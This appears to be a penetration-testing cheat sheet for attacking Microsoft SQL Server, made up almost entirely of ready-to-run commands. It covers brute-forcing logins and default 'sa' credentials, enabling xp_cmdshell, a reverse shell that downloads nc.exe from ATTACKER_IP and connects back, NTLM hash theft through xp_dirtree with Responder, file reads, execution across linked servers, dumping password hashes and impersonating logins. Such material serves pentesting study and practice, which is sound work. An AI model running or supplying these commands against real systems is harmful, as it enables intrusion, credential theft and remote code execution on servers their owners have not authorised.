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Documentation Index

Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt

Use this file to discover all available pages before exploring further.

Service Detection

nmap -sV -sC -p 1433 TARGET

Connect

impacket-mssqlclient

impacket-mssqlclient user:password@TARGET
impacket-mssqlclient user:password@TARGET -windows-auth

sqsh

sqsh -S TARGET -U user -P password

Brute-Force

hydra -L users.txt -P passwords.txt mssql://TARGET
crackmapexec mssql TARGET -u users.txt -p passwords.txt
Default credentials: sa / (blank or weak password).

Command Execution — xp_cmdshell

Enable xp_cmdshell

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

Execute Commands

EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'dir C:\';
EXEC xp_cmdshell 'type C:\Users\Administrator\Desktop\flag.txt';

Reverse Shell

EXEC xp_cmdshell 'powershell -c "iwr http://ATTACKER_IP/nc.exe -OutFile C:\Windows\Temp\nc.exe"';
EXEC xp_cmdshell 'C:\Windows\Temp\nc.exe -e cmd.exe ATTACKER_IP 4444';

File Read

OPENROWSET

SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB) AS x;

Steal NTLM Hash

Force MSSQL to authenticate to attacker SMB:
EXEC xp_dirtree '\\ATTACKER_IP\share';
Capture with Responder:
responder -I eth0

Linked Servers

EXEC sp_linkedservers;
SELECT * FROM sys.servers;

Execute on Linked Server

EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER];
EXEC ('EXEC (''xp_cmdshell ''''whoami'''''') AT [SERVER_C]') AT [SERVER_B];

Enumerate

Databases

SELECT name FROM master.sys.databases;

Tables

SELECT * FROM information_schema.tables;

Users

SELECT name, type_desc FROM sys.server_principals;

Password Hashes

SELECT name, password_hash FROM sys.sql_logins;

Impersonation

-- Check who you can impersonate
SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';

-- Impersonate
EXECUTE AS LOGIN = 'sa';
EXEC xp_cmdshell 'whoami';

Quick Reference

CheckCommand
Connectimpacket-mssqlclient user:pass@TARGET
Enable xp_cmdshellsp_configure 'xp_cmdshell', 1
RCEEXEC xp_cmdshell 'whoami'
Steal hashEXEC xp_dirtree '\\ATTACKER\share'
Linked serversEXEC sp_linkedservers